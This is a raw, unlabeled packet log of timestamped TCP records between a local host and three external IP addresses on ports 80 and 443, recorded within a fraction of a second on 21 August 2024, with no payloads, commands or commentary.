Aug 21, 2024 08:32:15.322407007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322475910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322483063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322498083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322504044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322515965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322521925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322527885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322527885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322534084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322539091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322546005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322557926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322577000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322592974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322845936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322860003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322866917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322870970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.322907925 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.322999954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323005915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323024035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323029041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323035955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323040962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323052883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323059082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323062897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.323065042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323082924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323086977 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323090076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.323091030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323096991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.323102951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323111057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323113918 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.323117971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323123932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323127985 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.323131084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323137999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323146105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323151112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323153973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323154926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.323157072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323164940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323169947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323175907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323178053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323194981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323215008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323215961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323225021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323230982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323236942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323251009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323256969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323275089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323287010 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323419094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323426008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323436022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323441029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323446989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323458910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323465109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323468924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323471069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323477030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323483944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323498011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323503971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323503971 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323509932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323514938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323525906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323529005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323532104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.323544025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323560953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.323587894 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.324130058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324141979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324147940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324152946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324158907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324172974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324178934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324184895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324189901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.324191093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324199915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.324203014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324208975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324220896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324222088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.324228048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324233055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.324244976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.324274063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.334723949 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.334830999 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.334912062 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.334973097 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.334973097 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.334988117 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335026979 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335042953 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335047007 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335309982 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335329056 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335396051 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335411072 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335417032 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335458994 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335458994 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.335472107 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.335525036 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.336153030 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.336214066 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.336216927 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.336222887 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.336256981 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.336260080 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.336273909 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.336329937 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.336329937 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.336982012 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337032080 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.337038040 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337084055 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337135077 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.337146997 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337233067 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.337826967 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337910891 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.337914944 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337960005 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.337986946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.337996006 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.338016987 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.338064909 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.338690996 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.338753939 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.364661932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364670038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364675999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364739895 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.364747047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364761114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364768028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364773035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364814043 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.364840984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364898920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.364984989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.364991903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.365004063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.365012884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.365020037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.365025043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.365052938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.365083933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.366017103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366023064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366034985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366077900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.366488934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366494894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366499901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366506100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.366554976 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.367248058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367254019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367259979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367270947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367278099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367290020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367330074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.367331028 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.367331028 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.367881060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367887020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367898941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367903948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367908955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367913961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367925882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.367945910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.367979050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.368369102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.368375063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.368386030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.368391037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.368432045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.370750904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370800018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370809078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370814085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.370847940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.370922089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370928049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370939970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370945930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.370979071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.371006012 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.375463009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375546932 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.375655890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375662088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375673056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375679016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375715971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375721931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375726938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.375730038 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.375730038 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.375770092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.377844095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377851009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377861977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377908945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.377911091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377918959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377932072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377939939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377945900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377952099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.377974987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.378002882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.378065109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378071070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378082991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378118038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378129005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.378142118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378149033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378158092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.378173113 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.378204107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.391341925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391352892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391359091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391417980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.391616106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391622066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391633987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391639948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.391674042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.391710043 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392045975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392051935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392064095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392082930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392102957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392124891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392138004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392139912 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392144918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392163038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392168045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392168045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392175913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392193079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392199993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392219067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392225981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392251015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392285109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.392290115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392297029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.392335892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395541906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395550013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395560980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395602942 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395653963 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395664930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395675898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395677090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395682096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395723104 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395829916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395838022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395848989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395854950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395860910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395868063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395880938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.395895958 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395931005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.395931005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.396203995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396209955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396217108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396260977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.396286011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396292925 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396305084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396311045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.396339893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.396373034 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.417413950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417424917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417431116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417490959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417516947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417536974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417538881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417545080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417587042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417613029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417619944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417630911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417656898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417661905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417711973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417766094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417772055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417778015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417803049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417828083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.417879105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417884111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417895079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417901039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417907000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417920113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417924881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.417932987 CEST	49722	80	192.168.2.6	162.241.203.25
